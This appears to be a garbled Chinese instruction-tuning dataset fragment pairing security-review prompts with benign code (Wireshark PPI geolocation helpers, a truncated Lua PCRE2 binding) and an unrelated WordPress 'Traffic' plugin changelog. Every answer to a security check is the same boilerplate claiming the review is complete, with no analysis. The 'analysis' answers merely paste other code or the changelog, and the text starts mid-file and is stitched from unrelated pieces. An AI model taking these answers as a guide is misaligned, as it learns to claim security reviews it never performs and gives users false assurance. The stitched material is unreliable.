gdouble ppi_ns_counter_to_gdouble(guint32 in) {
    gdouble ret;
    ret = (gdouble) in / 1000000000;
    return ret;
}

/*
 * Editor modelines
 *
 * Local Variables:
 * c-basic-offset: 4
 * tab-width: 8
 * indent-tabs-mode: nil
 * End:
 *
 * ex: set shiftwidth=4 tabstop=8 expandtab:
 * :indentSize=4:tabSize=8:noTabs=true:
 */


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ppi-geolocation-common.c
 * Routines for PPI-GEOLOCATION  dissection
 * Copyright 2010, Harris Corp, jellch@harris.com
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <glib.h>
#include "packet-ppi-geolocation-common.h"

/*
 * input: a unsigned 32-bit (native endian) value between 0 and 3600000000 (inclusive)
 * output: a signed floating point value betwen -180.0000000 and + 180.0000000, inclusive)
 */
gdouble ppi_fixed3_7_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180 * 10000000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000000);
    return ret;
}
/*
 * input: a native 32 bit unsigned value between 0 and 999999999
 * output: a positive floating point value between 000.0000000 and 999.9999999
 */

gdouble ppi_fixed3_6_to_gdouble(guint32 in) {
    gdouble ret = (gdouble) in  / 1000000.0;
    return ret;

}
/*
 * input: a native 32 bit unsigned value between 0 and 3600000000
 * output: a signed floating point value between -180000.0000 and +180000.0000
 */
gdouble ppi_fixed6_4_to_gdouble(guint32 in) {
    gint32 remapped_in = in - (180000 * 10000);
    gdouble ret = (gdouble) ((gdouble) remapped_in / 10000);
    return ret;
}

gdouble ppi_ns_counter_to_gdouble(guint32 in) {
    gdouble ret;
    ret = (gdouble) in / 1000000000;
    return ret;
}

/*
 * Editor modelines
 *
 * Local Variables:
 * c-basic-offset: 4
 * tab-width: 8
 * indent-tabs-mode: nil
 * End:
 *
 * ex: set shiftwidth=4 tabstop=8 expandtab:
 * :indentSize=4:tabSize=8:noTabs=true:
 */

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* lpcre2.c - Lua binding of PCRE2 library */
/*
 * Copyright (C) Reuben Thomas 2000-2020
 * Copyright (C) Shmuel Zeigerman 2004-2020

 * Permission is hereby granted, free of charge, to any person
 * obtaining a copy of this software and associated
 * documentation files (the "Software"), to deal in the
 * Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute,
 * sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:

 * The above copyright notice and this permission notice shall
 * be included in all copies or substantial portions of the
 * Software.

 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
 * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
 * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
 * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
 * OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
 * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
 * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

#include <wireshark.h>
DIAG_OFF_CLANG(shorten-64-to-32)
DIAG_OFF_CLANG(comma)
#ifdef _MSC_VER
/* disable: " warning C4244: '=': conversion from 'lua _Integer' to 'int',
 * possible loss of data" */
#pragma warning(disable:4244)
/* warning C4267: '+=': conversion from 'size_t' to 'int',
 * possible loss of data */
#pragma warning(disable:4267)
#endif

#define malloc_free free
#define rex_atoi atoi

#include <stdlib.h>
#include <string.h>
#include <locale.h>
#include <ctype.h>
#include <stdint.h>
#include <pcre2.h>

#include "lua.h"
#include "lauxlib.h"
#include "../common.h"

#include <wslua/wslua.h>

extern int Lpcre2_get_flags (lua_State *L);
extern int Lpcre2_config (lua_State *L);
extern flag_pair pcre2_error_flags[];

/* These 2 settings may be redefined from the co...


Instruction: 检查这段代码是否存在安全问题

Input:
/* lpcre2.c - Lua binding of PCRE2 library */
/*
 * Copyright (C) Reuben Thomas 2000-2020
 * Copyright (C) Shmuel Zeigerman 2004-2020

 * Permission is hereby granted, free of charge, to any person
 * obtaining a copy of this software and associated
 * documentation files (the "Software"), to deal in the
 * Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute,
 * sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:

 * The above copyright notice and this permission notice shall
 * be included in all copies or substantial portions of the
 * Software.

 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
 * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
 * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
 * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
 * OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
 * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
 * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */

#include <wireshark.h>
DIAG_OFF_CLANG(shorten-64-to-32)
DIAG_OFF_CLANG(comma)
#ifdef _MSC_VER
/* disable: " warning C4244: '=': conversion from 'lua _Integer' to 'int',
 * possible loss of data" */
#pragma warning(disable:4244)
/* warning C4267: '+=': conversion from 'size_t' to 'int',
 * possible loss of data */
#pragma warning(disable:4267)
#endif

#define malloc_free free
#define rex_atoi atoi

#include <stdlib.h>
#include <string.h>
#include <locale.h>
#include <ctype.h>
#include <stdint.h>
#include <pcre2.h>

#include "lua.h"
#include "lauxlib.h"
#include "../common.h"

#include <wslua/wslua.h>

extern int Lpcre2_get_flags (lua_State *L);
extern int Lpcre2_config (lua_State *L);
extern flag_pair pcre2_error_flags[];

/* These 2 settings may be redefined from the co...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Changelog
All notable changes to **Traffic** is documented in this *changelog*.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and **Traffic** adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [1.1.0] - 2019-10-05
### Added
- It's now possible to use public CDN to serve Traffic scripts and stylesheets (see _Settings | Traffic | Options_).
- The option page shows the logging plugin used.
### Changed
- Better computing of KPIs when no data are collected on the current day.
- Cron jobs are now excluded from analytics.
- Traffic database table collation is now `utf8_unicode_ci`.
- The (nag) update message has now a link to display changelog.
### Fixed
- Error while creating Traffic database table with utf8mb4 charset for some version of MySQL.
- KPIs layout may be jammed by site-wide stylesheets.
- PHP notice and warning when trying to count calls when there's no call for current day.
- Some typos in tooltips.

## [1.0.0] - 2019-10-04
### Initial release